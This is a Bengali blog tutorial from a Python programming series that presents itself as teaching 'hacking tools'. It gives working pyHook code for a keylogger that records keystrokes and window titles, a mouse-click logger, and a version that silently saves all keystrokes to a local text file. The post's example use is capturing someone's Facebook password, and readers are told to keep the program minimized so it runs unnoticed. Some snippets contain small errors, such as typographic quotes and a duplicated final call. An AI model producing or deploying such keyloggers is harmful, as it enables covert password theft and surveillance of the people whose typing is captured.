মজার ও সহজ প্রোগ্রামিং, পাইথন প্রোগ্রামিং [পর্ব-২২] :: পাইথন ল্যাংগুয়েজ দিয়ে কিছু হ্যাকিং টুলস তৈরী করা ও ইউজ করা

24
566

আজ পইথনের ২২ তম পর্বে আমি পাইথন দিয়ে কিছূ ছোটখাট হ্যাকিং টুলস তেরী করা শেখাব আপনাদের । তবে ভীত হবার কোন কারণ নেই । কারণ জিনিসটা খুবই সহজ ।আপনাকে শুধু কিছু কিছু মডিউল কমান্ড জানতে হবেই কাজের জন্য ।আমরা আজ pyHook মডিউল নিয়ে মূলত কাজ করব ।এছাড়ও কিছু মডিউল রয়েছে যেগুলো আপনারা দেখতে পাবেন । প্রথমে এইখান থেকে পাইথনের জন্য আপনার ভার্সন ও উউন্ডোজ অনুযায়ী pyWin32 ও pyHook মডিউলটা ডাউনলোড ও ইনস্টল করে নিন । তারপর আপনারা হ্যাকিং টুলস তৈরীর জন্য পুরোপুরি তৈরী । মূলত এটা অনেক উপায়ে তৈরী করা যায় । তবে আমি বর্তমানে আপনাদের কয়েকটি পদ্ধতি দেখাব ।আমি আপনাদের দেখাব একটা সিম্পল কীলগার কীভাবে তৈরী করা যায় । পরে আপনারা গুগলে সার্চ দিলে আরও অনেক টেকনিক পেয়ে যাবেন ।আমি এখানে পাইথন ২.৭ এর উপর লিখলাম । কারণ এই মডিউলটার ভার্সন পাইথন ৩.৩ তে একটু সমস্যা দেয় । প্রথমে আপনারা নীচের কোডগুলি টাইপ করুন ও রান করান ।

import pythoncom, pyHook

def OnKeyboardEvent(event):
    print “WindowName:”,event.WindowName
    print “Key:”, event.Key
    print “KeyID:”, event.KeyID
    print ”---“

    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

এখানে মূলত আমরা প্রথমে ২ টি মডিউল ইমপোর্ট করেছি । এরপর একটা ফাংশন ডিক্লেয়ার করে তার মধ্যে কিছূ কোড লিখেছি । আসুন , কোডগুলোর অর্থ সম্পর্কে একটু ক্লিয়ার হই ।
print ‘WindowName:’,event.WindowName :
এই কোডটার মূল কাজ হল কোন ইউজার কোন উইন্ডোতে কী টাইপ করছে সেটা প্রিন্ট করা । যেমন : কোন ব্যাক্তি যদি ফেসবুক . কম এ গিয়ে তার পাসওয়ার্ড টাইপ করে তাহলে এটা সেই মজিলা ফায়ার ফক্সের ফেসবুক পেজের নামটি প্রিন্ট করবে ।
print ‘Key:’, event.Key :
এই কোডটির কাজ হল ইউজার কোন কী টাইপ করছে সেটা প্রিন্ট করা ।যেমন , কেই যদি “H” কী টি টাইপ করে তবে এটা “H” প্রিন্ট করবে ।
print ‘KeyID:’, event.KeyID
এই কোডটার কাজ হল ইউজার যে কী টি টাইপ করছে সেটার আইডি খুজে বের করে প্রিন্ট করা ।
return True : এই কোডটা মূলত একটা কী ক্যাপচার করা হয়ে গেলে পরবর্তী কী টি ক্যাপচার করার জন্য প্রোগ্রাম টিকে এগিয়ে নিবে । অর্থাৎ একাধারে সব টাইপড কী ক্যাপচার করতে থাকবে ।
এরপর আমরা pyHook.HookManager কোডের মাধ্যমে একটা হুক ম্যানেজার তৈরী করেছি । এরপর উপরের তৈরী ফাংশন টিকে hm.KeyDown কোডের সাথে ইউজ করে সব কী ক্যাপচারের জন্য ফাংশন টিকে সেট করে দিয়েছি অর্থাৎ , কোন কী চাপই এটা ক্যাপচার করবে ।তারপর হুক সেটআপ করে দিয়ে pythoncom.PumpMessages() কোডের মাধ্যমে প্রোগ্রামটিকে সারা জীবনের জন্য চালিয়ে যেতে বলেছি । এভাবে আমরা একটা পাইথন কীলগার তৈরী করতে পারি । এর সাথে আপনারা আরও অনেক কোড এড করতে পারেন বিভিন্ন অতিরিক্ত তথ্য পাবার জন্য । আপনাদের সুবিধার্তে কোডগুলো আমি নীচে দিয়ে দিলাম যেগুলো আপনারা ফাংশনের ভিতর এড করতে পারেন ।

print 'MessageName:',event.MessageName
    print 'Message:',event.Message
    print 'Time:',event.Time
    print 'Window:',event.Window
    print 'Ascii:', event.Ascii, chr(event.Ascii)
    print 'ScanCode:', event.ScanCode
    print 'Extended:', event.Extended
    print 'Injected:', event.Injected
    print 'Alt', event.Alt
    print 'Transition', event.Transition

এখানে hm টা হল জাস্ট একটা ভ্যারিয়েবল । আপনারা ইচ্ছা করলে এটির অন্য যেকোন নাম দিতে পারেন ।

এগুলো ইউজ করে দেখুন , আপনারা কীবোর্ডের ক্যাপচারের আর ও অনেক তথ্য পাবেন । এবার প্রোগ্রামটি রান করে মিনিমাইজ করে রাখুন । ব্যাস , এটি নিজের মনে কাজ করে যাবে ।
এটা হল একটা কীবোর্ডের উপর মনিটরিং প্রোগ্রাম । আপনরা একই ভাবে প্রতিটা মাউস ক্লিকের হিসাব রাখার জন্য নচের প্রোগ্রামটি ইউজ করতে পারেন ।

import pythoncom, pyHook

def OnMouseEvent(event):
    # called when mouse events are received
    print 'MessageName:',event.MessageName
    print 'Message:',event.Message
    print 'Time:',event.Time
    print 'Window:',event.Window
    print 'WindowName:',event.WindowName
    print 'Position:',event.Position
    print 'Wheel:',event.Wheel
    print 'Injected:',event.Injected
    print '---'

    return True

hm = pyHook.HookManager()
hm.MouseAll = OnMouseEvent
hm.HookMouse()
pythoncom.PumpMessages()

এখন ধরুন আপনি আপনার সকল কী্স্ট্রোক একটা নোটপ্যাডে টেক্সটআকারে সেভ রাখতে চান , তাহলে কী করতে হবে । উপায় আছে । সবাই নীচের কোডটি টাইপ করুন ।

import pyHook, pythoncom, sys, logging
file_log = "C:\\log.txt"
def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG, format="%(message)s")
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages() PumpMessages()

এখানে মূলত আমরা pyHook, pythoncom, sys, logging নামের ৪ টি মডিউল ইমপোর্ট করেছি । তারপর সব লগ সেভ করার জন্য file_log নামের একটা ভ্যারিয়েবল নিয়ে যে প্যাথে আমাদের কী স্ট্রোকগুলো সেভ হবে সেটা দেখিয়ে দিযেছি । তারপর একটা ফাংশন ডিফাইন করে logging মডিউলটা ইউজ করে আমরা কোথায় আমাদের সব টেক্সট সেভ হবে সেটা বলে দিয়েছি ও কী ফরম্যাটে সেভ হবে ও কীভাবে সেভ হবে সেটাও বলে দিয়েছি ।তারপর আমরা ASCII ফরম্যাটের সব কীস্ট্রোক ক্যাপচার করার জন্য নীচের কোড দুটি ইউজ করেছি । তারপরের কাজ সবই উপরের প্রোগ্রামটার মতই । এবার এই প্রোগ্রামটা সেভ করে রান করুন ও মিনিমাইজ করে রাখুন । দেখুন , আপনার টেক্সট ফাইলে আপনার সব কীস্ট্রোক সেভ হয়ে আছে । অবশ্য আপনার দেওয়া প্যাথে একটি নোটপ্যাড ফাইল আগে থেকেই তৈরী করে রাখবেন । না হলে ইরর দেখাতে পারে ।

আর আপনার গুগলে সার্চ দিয়ে pyHook মডিউলটার উপর আরো পড়াশুনা করুন । আশা করি আরও নতুন কিছু শিখতে পারবেন ।

24 COMMENTS

LEAVE A REPLY

Please enter your comment!
Please enter your name here